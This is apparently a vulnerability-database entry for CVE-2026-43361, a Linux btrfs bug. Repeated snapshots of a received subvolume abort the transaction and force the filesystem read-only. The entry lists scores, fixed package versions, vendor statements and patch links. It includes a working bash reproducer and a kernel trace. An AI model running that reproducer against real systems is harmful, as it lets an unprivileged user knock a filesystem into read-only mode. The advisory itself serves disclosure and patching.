CVE-2026-43361 json
btrfs: fix transaction abort when snapshotting received subvolumes
published 2026-05-08 6 mo ago modified 2026-11-06 2 d ago also EUVD-2026-28667
- cvss
- 5.5
- version 3.1, NVD
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 0.1%
- EPSS 0.1% chance of exploitation in 30 days, percentile 2%
- public exploits
- 0
- none known
Summary
In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix transaction abort when snapshotting received subvolumes
Currently a user can trigger a transaction abort by snapshotting a previously received snapshot a bunch of times until we reach a BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we can store in a leaf). This is very likely not common in practice, but if it happens, it turns the filesystem into RO mode. The snapshot, send and set_received_subvol and subvol_setflags (used by receive) don't require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user could use this to turn a filesystem into RO mode and disrupt a system.
Reproducer script:
$ cat test.sh #!/bin/bash
DEV=/dev/sdi MNT=/mnt/sdi
# Use smallest node size to make the test faster. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT
# Create a subvolume and set it to RO so that it can be used for send. btrfs subvolume create $MNT/sv touch $MNT/sv/foo btrfs property set $MNT/sv ro true
# Send and receive the subvolume into snaps/sv. mkdir $MNT/snaps btrfs send $MNT/sv | btrfs receive $MNT/snaps
# Now snapshot the received subvolume, which has a received_uuid, a # lot of times to trigger the leaf overflow. total=500 for ((i = 1; i <= $total; i++)); do echo -ne "\rCreating snapshot $i/$total" btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null done echo
umount $MNT
When running the test:
$ ./test.sh (...) Create subvolume '/mnt/sdi/sv' At subvol /mnt/sdi/sv At subvol sv Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system
And in dmesg/syslog:
$ dmesg (...) [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252! [251067.629212] ------------[ cut here ]------------ [251067.630033] BTRFS: Transaction aborted (error -75) [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235 [251067.632851] Modules linked in: btrfs dm_zero (...) [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full) [251067.646165] Tainted: [W]=WARN [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs] [251067.649984] Code: f0 48 0f (...) [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292 [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3 [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750 [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820 [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0 [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5 [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000 [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0 [251067.661972] Call Trace: [251067.662292] <TASK> [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs] [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs] [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs] [251067.665238] ? _raw_spin_unlock+0x15/0x30 [251067.665837] ? record_root_ ---truncated---
Patch / fix
- Linux Linux 6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, 7.0
- linux Debian 12 6.1.170-1
- linux Debian 13 6.12.85-1
- linux Debian 14 6.19.10-1
debian advisories DEBIAN-CVE-2026-43361
- linux Ubuntu 24.04 LTS 6.8.0-136.136
- linux-aws Ubuntu 24.04 LTS 6.8.0-1061.64
- linux-gcp Ubuntu 24.04 LTS 6.8.0-1064.72
- linux-gke Ubuntu 24.04 LTS 6.8.0-1059.67
- linux-ibm Ubuntu 24.04 LTS 6.8.0-1061.62
- linux-azure Ubuntu 24.04 LTS 6.8.0-1063.71
- linux-gkeop Ubuntu 24.04 LTS 6.8.0-1046.50
- linux-raspi Ubuntu 24.04 LTS 6.8.0-1061.65
ubuntu advisories UBUNTU-CVE-2026-43361
Ubuntu security data © Canonical Ltd., from https://github.com/canonical/ubuntu-security-notices via OSV; changed: normalised to fixed package versions per release. CC BY-SA 4.0
- kernel-rt Linux Micro 6.1, Linux Micro 6.0 6.4.0-48.1
- kernel-source-rt Linux Micro 6.1, Linux Micro 6.0 6.4.0-48.1
- kernel-rt Real Time Module 15 SP7 6.4.0-150700.7.59.2
- kernel-syms-rt Real Time Module 15 SP7 6.4.0-150700.7.59.1
- kernel-source-rt Real Time Module 15 SP7 6.4.0-150700.7.59.2
- kernel-64kb SLE Module for Basesystem 15 SP7 6.4.0-150700.53.60.1
- kernel-syms SLE Module for Development Tools 15 SP7 6.4.0-150700.53.60.1
- kernel-azure SLE Module for Public Cloud 15 SP7 6.4.0-150700.53.60.1
suse advisories SUSE-SU-2026:22433-1SUSE-SU-2026:22458-1SUSE-SU-2026:2591-1SUSE-SU-2026:2482-1SUSE-SU-2026:2450-1SUSE-SU-2026:22108-1
- git.kernel.org/stable/c/9a9227b488ffb7cdbb5d930a01fc6956c05ba61a commit
- git.kernel.org/stable/c/6bce705b699cba9afccb996c77d194fe003dfa2a commit
- git.kernel.org/stable/c/e3d8efc157bc590457d3e31da403af1a221643d6 commit
- git.kernel.org/stable/c/bac55dde8efa457e769c934fd88a63f2141ba238 commit
- git.kernel.org/stable/c/770af8e465c2c3de528f85e840eab462dd41542b commit
- git.kernel.org/stable/c/e1b18b959025e6b5dbad668f391f65d34b39595a commit
Vendor advisories
What the vendors themselves say about their products: affected, fixed or not affected, and what to do.
red hat product security vex CVE-2026-43361 updated cvss 5.5
kernel: btrfs: fix transaction abort when snapshotting received subvolumes
-
Red Hat Enterprise Linux 6 perf, kernel, python-perf, kernel-kdump, kernel-firmware, kernel-bootwrapper, +1 moreaffected: workaround, no fix planned “To mitigate this issue, prevent the btrfs module from being loaded. See https://access.redhat.com/solutions/41278 for instructions.”
-
Red Hat Enterprise Linux 7 perf, kernel, bpftool, kernel-rt, python-perf, kernel-kdump, +8 more Red Hat Enterprise Linux 10 kernelaffected: workaround, no fix available “To mitigate this issue, prevent the btrfs module from being loaded. See https://access.redhat.com/solutions/41278 for instructions.”
-
Red Hat Enterprise Linux 8 perf, kernel, bpftool, kernel-rt, kernel-core, kernel-tools, +29 more Red Hat Enterprise Linux 9 rv, perf, rtla, kernel, bpftool, libperf, +83 morenot affected: vulnerable code not present
Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf
CISA SSVC
- Exploitation
- none
- Automatable
- no
- Technical impact
- partial
- Assessed
- 2 d ago
Exploit prediction
0.12% chance of exploitation in the next 30 days, higher than 2% of all scored CVEs (FIRST EPSS, 2026-11-08).
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| NVD | 3.1 | 5.5 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Affected products
- Linux Linux
Classification
- Technology feeds
References
-
git.kernel.org
/stable/c/9a9227b488ffb7cdbb5d930a01fc6956c05ba61a
patch
-
git.kernel.org
/stable/c/6bce705b699cba9afccb996c77d194fe003dfa2a
patch
-
git.kernel.org
/stable/c/e3d8efc157bc590457d3e31da403af1a221643d6
patch
-
git.kernel.org
/stable/c/bac55dde8efa457e769c934fd88a63f2141ba238
patch
-
git.kernel.org
/stable/c/770af8e465c2c3de528f85e840eab462dd41542b
patch
-
git.kernel.org
/stable/c/e1b18b959025e6b5dbad668f391f65d34b39595a
patch
Sources
- CVE List CVE-2026-43361
- NVD CVE-2026-43361
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.